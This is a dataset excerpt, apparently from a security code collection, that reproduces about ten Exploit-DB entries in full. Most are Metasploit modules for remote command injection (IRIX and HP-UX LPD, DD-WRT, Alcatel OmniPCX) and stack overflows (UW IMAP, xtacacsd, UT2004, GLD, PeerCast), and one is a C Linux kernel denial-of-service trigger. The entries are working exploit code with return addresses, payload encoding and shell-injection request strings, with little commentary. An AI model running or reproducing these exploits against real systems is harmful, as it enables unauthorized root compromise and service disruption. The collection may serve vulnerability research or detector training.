QLWD/code_shield huggingface dataset:
标题: Irix LPD tagprinter - Command Execution (Metasploit) EDB-ID: 10033 CVE: 2001-0800 类型: REMOTE 平台: IRIX 发布日期: 2001-09-01 漏洞利用脚本: ##
# $Id: tagprinter_exec.rb 10561 2010-10-06 00:53:45Z hdm $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Irix LPD tagprinter Command Execution',
   'Description'    => %q{
     This module exploits an arbitrary command execution flaw in
    the in.lpd service shipped with all versions of Irix.
   },
   'Author'         => [ 'optyx', 'hdm' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 10561 $',
   'References'     =>
    [
     ['CVE', '2001-0800'],
     ['OSVDB', '8573'],
     ['URL',   'http://www.lsd-pl.net/code/IRIX/irx_lpsched.c'],
    ],
   'Privileged'     => false,
   'Platform'       => ['unix', 'irix'],
   'Arch'           => ARCH_CMD,
   'Payload'        =>
    {
     'Space'       => 512,
     'DisableNops' => true,
     'Compat'      =>
      {
       'PayloadType' => 'cmd',
       'RequiredCmd' => 'generic telnet',
      }
    },
   'Targets'        =>
    [
     [ 'Automatic Target', { }]
    ],
   'DisclosureDate' => 'Sep 01 2001',
   'DefaultTarget' => 0))

  register_options(
   [
    Opt::RPORT(515)
   ], self.class)
 end

 def check
  connect
  sock.put("T;uname -a;\n")
  resp = sock.get_once
  disconnect

  if (resp =~ /IRIX/)
   print_status("Response: #{resp.strip}")
   return Exploit::CheckCode::Vulnerable
  end
  return Exploit::CheckCode::Safe
 end

 def exploit
  connect
  sock.put("T;#{payload.encoded};\n")
  handler
  print_status("Payload: #{payload.encoded}")
 end

end URL: https://www.exploit-db.com/exploits/10033
标题: HP-UX LPD 10.20/11.00/11.11 - Command Execution (Metasploit) EDB-ID: 10034 CVE: 2002-1473 类型: REMOTE 平台: HP-UX 发布日期: 2002-08-28 漏洞利用脚本: ##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info, 
   'Name'           => 'HP-UX LPD Command Execution',
   'Description'    => %q{
    This exploit abuses an unpublished vulnerability in the
    HP-UX LPD service. This flaw allows an unauthenticated
    attacker to execute arbitrary commands with the privileges
    of the root user. The LPD service is only exploitable when
    the address of the attacking system can be resolved by the
    target. This vulnerability was silently patched with the
    buffer overflow flaws addressed in HP Security Bulletin
    HPSBUX0208-213.
     
   },
   'Author'         => [ 'hdm' ],
   'Version'        => '$Revision$',
   'References'     =>
    [
     [ 'CVE', '2002-1473'],
     [ 'OSVDB', '9638'],
     [ 'URL', 'http://archives.neohapsis.com/archives/hp/2002-q3/0064.html'],

    ],
   'Platform'       => ['unix', 'hpux'],
   'Arch'           => ARCH_CMD,
   'Payload'        =>
    {
     'Space'       => 200,
     'DisableNops' => true,
     'BadChars'    => "\x00\x09\x20\x2f",
     'Compat'      =>
      {
       'PayloadType' => 'cmd',
       'RequiredCmd' => 'generic perl telnet',
      }
    },   
   'Targets'        => 
    [
     [ 'Automatic Target', { }]
    ],
   'DefaultTarget' => 0))
   
   register_options(
    [
     Opt::RPORT(515)
    ], self.class)
 end

 def exploit

  # The job ID is squashed down to three decimal digits
  jid = ($$ % 1000).to_s + [Time.now.to_i].pack('N').unpack('H*')[0]

  # Connect to the LPD service
  connect
  
  print_status("Sending our job request with embedded command string...")
  # Send the job request with the encoded command
  sock.put(
   "\x02" + rand_text_alphanumeric(3) + jid +
   "`" + payload.encoded + "`\n"
  )
  
  res = sock.get_once(1)
  if (res[0] != 0)
   print_status("The target did not accept our job request")
   return
  end

  print_status("Sending our fake control file...")  
  sock.put("\x02 32 cfA" + rand_text_alphanumeric(8) + "\n")
  res = sock.get_once(1)
  if (res[0] != 0)
   print_status("The target did not accept our control file")
   return
  end
  
  print_status("Forcing an error and hijacking the cleanup routine...")
  
  begin
   sock.put(rand_text_alphanumeric(16384))
   disconnect
  rescue
  end
  
 end

end URL: https://www.exploit-db.com/exploits/10034
标题: University of Washington - imap LSUB Buffer Overflow (Metasploit) EDB-ID: 10025 CVE: 2000-0284 类型: REMOTE 平台: LINUX 发布日期: 2000-04-16 漏洞利用脚本: ##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

 include Msf::Exploit::Remote::Imap

 def initialize(info = {})
  super(update_info(info, 
   'Name'           => 'UoW IMAP server LSUB Buffer Overflow',
   'Description'    => %q{
    This module exploits a buffer overflow in the 'LSUB'
    command of the University of Washington IMAP service.
    This vulnerability can only be exploited with a valid username
    and password.
   },
   'Author'         => [ 'patrick' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision$',
   'References'     =>
    [
     [ 'CVE', '2000-0284' ],
     [ 'OSVDB', '12037' ],
     [ 'BID', '1110' ],
     [ 'URL', 'http://www.milw0rm.com/exploits/284' ],
    ],
   'Privileged'     => false,
   'Payload'        =>
    {
     'Space'    => 964,
     'BadChars' => "\x00\x0a\x0d",
     'StackAdjustment' => -3500,
     'Compat'   => 
      {
       'ConnectionType' => '-reverse',
      },
    },
   'Platform'       => 'linux', 
   'Targets'        => 
    [
     ['RedHat 6.2 - IMAP4rev1 v12.264', { 'Ret' => 0xbffff310 }],
    ],
   'DisclosureDate' => 'Apr 16 2000',
   'DefaultTarget' => 0))
 end

 def check
  connect
  disconnect

  if (banner =~ /IMAP4rev1 v12.264/)
   return Exploit::CheckCode::Vulnerable
  end
  return Exploit::CheckCode::Safe

 end

 def exploit
  connect_login

  print_status("Sending overflow string...")
  req = "a002 LSUB \"\" {1064}\r\n"
  sock.put(req)
  sleep(2)

  sploit = payload.encoded + rand_text_alphanumeric(64) + [target['Ret']].pack('V') + rand_text_alphanumeric(32) + "\r\n"

  sock.put(sploit)
  sleep(2)

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/10025
标题: Xtacacsd 4.1.2 - 'report()' Remote Buffer Overflow (Metasploit) EDB-ID: 10035 CVE: 2008-7232 类型: REMOTE 平台: BSD 发布日期: 2008-01-08 漏洞利用脚本: ##
# $Id: xtacacsd_report.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::Udp
 include Msf::Exploit::Brute

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'XTACACSD <= 4.1.2 report() Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in XTACACSD <= 4.1.2. By
    sending a specially crafted XTACACS packet with an overly long
    username, an attacker may be able to execute arbitrary code.
   },
   'Author'         => 'MC',
   'Version'        => '$Revision: 9262 $',
   'References'     =>
    [
     ['CVE', '2008-7232'],
     ['OSVDB', '58140'],
     ['URL', 'http://aluigi.altervista.org/adv/xtacacsdz-adv.txt'],
    ],
   'Payload'        =>
    {
     'Space'    => 175,
     'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20",
     'StackAdjustment' => -3500,
     'PrependEncoder' => "\x83\xec\x7f",
     'DisableNops'   =>  'True',
    },
   'Platform'       => 'BSD',
   'Arch'           => ARCH_X86,
   'Targets'        =>
    [
     ['FreeBSD 6.2-Release Bruteforce',
      {'Bruteforce' =>
       {
        'Start' => { 'Ret' => 0xbfbfea00 },
        'Stop'  => { 'Ret' => 0xbfbfef00 },
        'Step'  => 24,
       }
      },
     ],
    ],
   'Privileged'     => true,
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Jan 8 2008'))

  register_options([Opt::RPORT(49)], self.class)
 end

 def brute_exploit(address)
  connect_udp

  sploit =  "\x80" # Version
  sploit << "\x05" # Type: Connect
  sploit << "\xff\xff" # Nonce
  sploit << "\xff" # Username length
  sploit << "\x00" # Password length
  sploit << "\x00" # Response
  sploit << "\x00" # Reason
  sploit << "\xff\xff\xff\xff" # Result 1
  sploit << "\xff\xff\xff\xff" # Destination address
  sploit << "\xff\xff" # Destination port
  sploit << "\xff\xff" # Line
  sploit << "\x00\x00\x00\x00" # Result 2
  sploit << "\x00\x00" # Result 3
  sploit << make_nops(238 - payload.encoded.length)
  sploit << payload.encoded + [address['Ret']].pack('V')

  print_status("Trying target #{target.name} #{"%.8x" % address['Ret']}...")
  udp_sock.put(sploit)

  disconnect_udp
 end

end URL: https://www.exploit-db.com/exploits/10035
标题: Alcatel-Lucent OmniPCX Enterprise Communication Server 7.1 - masterCGI Command Injection (Metasploit) EDB-ID: 10031 CVE: 2007-3010 类型: WEBAPPS 平台: CGI 发布日期: 2007-09-17 漏洞利用脚本: ##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info, 
   'Name'           => 'Alcatel-Lucent OmniPCX Enterprise masterCGI Arbitrary Command Execution',
   'Description'    => %q{
    This module abuses a metacharacter injection vulnerability in the
    HTTP management interface of the Alcatel-Lucent OmniPCX Enterprise
    Communication Server 7.1 and earlier. The Unified Maintenance Tool
    contains a 'masterCGI' binary which allows an unauthenticated attacker
    to execute arbitrary commands by specifing shell metacharaters as the
    'user' within the 'ping' action to obtain 'httpd' user access. This
    module only supports command line payloads, as the httpd process kills
    the reverse/bind shell spawn after the HTTP 200 OK response.
   },
   'Author'         => [ 'patrick' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision$',
   'References'     =>
    [
     [ 'OSVDB', '40521' ],
     [ 'BID', '25694' ],
     [ 'CVE', '2007-3010' ],
     [ 'URL', 'http://www1.alcatel-lucent.com/psirt/statements/2007002/OXEUMT.htm' ],
    ],
   'Platform'       => ['unix'],
   'Arch'           => ARCH_CMD,    
   'Privileged'     => false,
   'Payload'        =>
    {
     'Space'       => 1024,
     'DisableNops' => true,
     'Compat'      =>
      {
       'PayloadType' => 'cmd',
       'RequiredCmd' => 'generic'
      }
    },
   'Targets'        => 
    [
     [ 'Automatic Target', { }]
    ],
   'DefaultTarget' => 0))
   
   register_options(
    [
     Opt::RPORT(443),
     OptBool.new('SSL', [true, 'Use SSL', true]),
    ], self.class)
 end
 
 def exploit
  connect

  cmd = payload.encoded.gsub(" ", '${IFS}')
  req = 
   "GET /cgi-bin/masterCGI?ping=nomip&user=;#{cmd}; HTTP/1.1\r\n" +
   "Host: #{rhost}\r\n\r\n"
  
  print_status("Sending GET request with command line payload...")
  sock.put(req)

  res = sock.get(3,3)

  if (res =~ /<h5>(.*)<\/h5>/smi)
   out = $1
   print_line(out.gsub(/<h5>|<\/h5>/, ''))
   return
  end

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/10031
标题: Linux Kernel 2.6.31.4 - 'unix_stream_connect()' Local Denial of Service EDB-ID: 10022 CVE: 2009-3621 类型: DOS 平台: LINUX 发布日期: 2009-11-10 漏洞利用脚本: int main(void)
{
 int ret;
 int csd;
 int lsd;
 struct sockaddr_un sun;

 /* make an abstruct name address (*) */
 memset(&sun, 0, sizeof(sun));
 sun.sun_family = PF_UNIX;
 sprintf(&sun.sun_path[1], "%d", getpid());

 /* create the listening socket and shutdown */
 lsd = socket(AF_UNIX, SOCK_STREAM, 0);
 bind(lsd, (struct sockaddr *)&sun, sizeof(sun));
 listen(lsd, 1);
 shutdown(lsd, SHUT_RDWR);

 /* connect loop */
 alarm(15); /* forcely exit the loop after 15 sec */
 for (;;) {
  csd = socket(AF_UNIX, SOCK_STREAM, 0);
  ret = connect(csd, (struct sockaddr *)&sun, sizeof(sun));
  if (-1 == ret) {
   perror("connect()");
   break;
  }
  puts("Connection OK");
 }
 return 0;
} URL: https://www.exploit-db.com/exploits/10022
标题: Unreal Tournament 2004 - 'Secure' Remote Overflow (Metasploit) EDB-ID: 10032 CVE: 2004-0608 类型: REMOTE 平台: LINUX 发布日期: 2004-07-18 漏洞利用脚本: ##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

 include Msf::Exploit::Remote::Udp

 def initialize(info = {})
  super(update_info(info, 
   'Name'           => 'Unreal Tournament 2004 "secure" Overflow (Linux)',
   'Description'    => %q{
    
   This is an exploit for the GameSpy secure query in
   the Unreal Engine.

   This exploit only requires one UDP packet, which can
   be both spoofed and sent to a broadcast address.
   Usually, the GameSpy query server listens on port 7787,
   but you can manually specify the port as well.

   The RunServer.sh script will automatically restart the
   server upon a crash, giving us the ability to
   bruteforce the service and exploit it multiple
   times. 
     
   },
   'Author'         => [ 'onetwo' ],
   'License'        => BSD_LICENSE,
   'Version'        => '$Revision$',
   'References'     =>
    [
         [ 'CVE', '2004-0608'],
     [ 'OSVDB', '7217'],
     [ 'BID', '10570'],

    ],
   'Privileged'     => true,
   'Payload'        =>
    {
     'Space'    => 512,
     'BadChars' => "\x5c\x00",

    },
   'Platform'       => 'linux',
   'Targets'        => 
    [
     ['UT2004 Linux Build 3120', { 'Rets' => [ 0x0884a33b, 0x08963460 ] }], #JMP ESP , (free/realloc) BSS pointer
     ['UT2004 Linux Build 3186', { 'Rets' => [ 0x088c632f, 0x089eb2f0 ] }],
    ],
   'DisclosureDate' => 'Jun 18 2004'))

   register_options(
    [
     Opt::RPORT(7787)
    ], self.class)
 end
  
 def exploit
  connect_udp
  
  buf = make_nops(1024)
  buf[24, 4] = [target['Rets'][1]].pack('V')
  buf[44, 4] = [target['Rets'][0]].pack('V')
  buf[56, 4] = [target['Rets'][1]].pack('V') 
  buf[48, 6] = "\x8d\x64\x24\x0c\xff\xe4" #LEA/JMP
  
  buf[0,  8] = "\\secure\\"
  buf[buf.length - payload.encoded.length, payload.encoded.length] = payload.encoded
 
  udp_sock.put(buf) 
  
  handler
  disconnect_udp
 end
 
 def ut_version
  connect_udp
  udp_sock.put("\\basic\\")
  res = udp_sock.recvfrom(8192)
  disconnect_udp 
  
  if (res and (m=res.match(/\\gamever\\([0-9]{1,5})/)))
   return m[1]
  end
  
  return
 end
 
 def check
  vers = ut_version
  
  if (not vers)
   print_status("Could not detect Unreal Tournament Server")
   return
  end
  
  print_status("Detected Unreal Tournament Server Version: #{vers}")
  if (vers =~ /^(3120|3186|3204)$/)
   print_status("This system appears to be exploitable")
   return Exploit::CheckCode::Appears
  end
  
  
  if (vers =~ /^(2...)$/)
   print_status("This system appears to be running UT2003")
   return Exploit::CheckCode::Detected
  end
  
  print_status("This system appears to be patched")
  return Exploit::CheckCode::Safe
 end

end URL: https://www.exploit-db.com/exploits/10032
标题: Salim Gasmi GLD (Greylisting Daemon) 1.0 < 1.4 - Postfix Greylisting Buffer Overflow (Metasploit) EDB-ID: 10023 CVE: 2005-1099 类型: REMOTE 平台: LINUX 发布日期: 2005-04-12 漏洞利用脚本: ##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


 class Metasploit3 < Msf::Exploit::Remote

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'  => 'GLD (Greylisting Daemon) Postfix Buffer Overflow',
   'Description' => %q{
    This module exploits a stack overflow in the Salim Gasmi
    GLD <= 1.4 greylisting daemon for Postfix. By sending an
    overly long string the stack can be overwritten.
   },
   'Version' => '$Revision$',
   'Author' => [ 'patrick' ],
   'Arch'  => ARCH_X86,
   'Platform' => 'linux',
   'References' =>
    [
     [ 'CVE', '2005-1099' ],
     [ 'OSVDB', '15492' ],
     [ 'BID', '13129' ],
     [ 'URL', 'http://www.milw0rm.com/exploits/934' ],
    ],
   'Privileged' => true,
   'License' => MSF_LICENSE,
   'Payload' =>
    {
     'Space' => 1000,
     'BadChars' => "\x00\x0a\x0d\x20=",
     'StackAdjustment' => -3500,
    },
   'Targets' =>
    [
     [ 'RedHat Linux 7.0 (Guinness)', { 'Ret' => 0xbfffa5d8 } ],
    ],
   'DefaultTarget' => 0
  ))

  register_options(
   [
    Opt::RPORT(2525)
   ],
   self.class
  )
 end
 
 def exploit
  connect

  sploit = "sender="+ payload.encoded + "\r\n"
  sploit << "client_address=" + [target['Ret']].pack('V') * 300 + "\r\n\r\n"

  sock.put(sploit)
  handler
  disconnect

 end

end URL: https://www.exploit-db.com/exploits/10023
标题: DD-WRT HTTP v24-SP1 - Command Injection EDB-ID: 10030 CVE: 2009-2765 类型: REMOTE 平台: LINUX 发布日期: 2009-07-20 漏洞利用脚本: ##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info, 
   'Name'           => 'DD-WRT HTTP Daemon Arbitrary Command Execution',
   'Description'    => %q{
    This module abuses a metacharacter injection vulnerability in the
   HTTP management server of wireless gateways running DD-WRT. This flaw
   allows an unauthenticated attacker to execute arbitrary commands as
   the root user account.
   },
   'Author'         => [ 'gat3way', 'hdm' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision$',
   'References'     =>
    [
     [ 'CVE', '2009-2765'],
     [ 'OSVDB', '55990' ],
     [ 'BID', '35742' ],
     [ 'URL', 'http://www.milw0rm.com/exploits/9209'],

    ],
   'Platform'       => ['unix'],
   'Arch'           => ARCH_CMD,    
   'Privileged'     => false,
   'Payload'        =>
    {
     'Space'       => 1024,
     'DisableNops' => true,
     'Compat'      =>
      {
       'RequiredCmd' => 'generic netcat-e'
      }
    },
   'Targets'        => 
    [
     [ 'Automatic Target', { }]
    ],
   'DefaultTarget' => 0))
   
   register_options(
    [
     Opt::RPORT(80)
    ], self.class)
 end
 
 def exploit
  connect

  cmd = payload.encoded.unpack("C*").map{|c| "\\x%.2x" % c}
  str = "echo${IFS}-ne${IFS}\"#{cmd}\"|/bin/sh&"
  req = 
   "GET /cgi-bin/;#{str} HTTP/1.1\r\n" +
   "Host: #{rhost}\r\n" +
   "Content-Length: 0\r\n\r\n"
  
  print_status("Sending GET request with encoded command line...")
  sock.put(req)
  
  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/10030
标题: PeerCast 0.1216 - Remote Stack Overflow (Metasploit) EDB-ID: 10027 CVE: 2006-1148 类型: REMOTE 平台: LINUX 发布日期: 2006-03-08 漏洞利用脚本: ##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info, 
   'Name'           => 'PeerCast <= 0.1216 URL Handling Buffer Overflow (linux)',
   'Description'    => %q{
    This module exploits a stack overflow in PeerCast <= v0.1216. 
    The vulnerability is caused due to a boundary error within the
    handling of URL parameters.
     
   },
   'Author'         => [ 'MC' ],
   'License'        => BSD_LICENSE,
   'Version'        => '$Revision$',
   'References'     =>
    [
     ['CVE', '2006-1148'],
       ['OSVDB', '23777'],
     ['BID', '17040'],
     ['URL', 'http://www.infigo.hr/in_focus/INFIGO-2006-03-01'],

    ],
   'Privileged'     => false,
   'Payload'        =>
    {
     'Space'    => 200,
     'BadChars' => "\x00\x0a\x0d\x20\x0d\x2f\x3d\x3b",
     'MinNops'  => 64,
    },
   'Platform'       => 'linux',
   'Arch'           => ARCH_X86,
   'Targets'        => 
    [
     ['PeerCast v0.1212 Binary', { 'Ret' => 0x080922f7 }],
    ],
   'DisclosureDate' => 'Mar 8 2006'))
   
   register_options( [ Opt::RPORT(7144) ], self.class )
 end

 def exploit
  connect
  
  pat = rand_text_alphanumeric(780)
  pat << [target.ret].pack('V')
  pat << payload.encoded

  uri = '/stream/?' + pat
  
  res = "GET #{uri} HTTP/1.0\r\n\r\n"
  
  print_status("Trying target address 0x%.8x..." % target.ret)
  sock.put(res)
  
  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/10027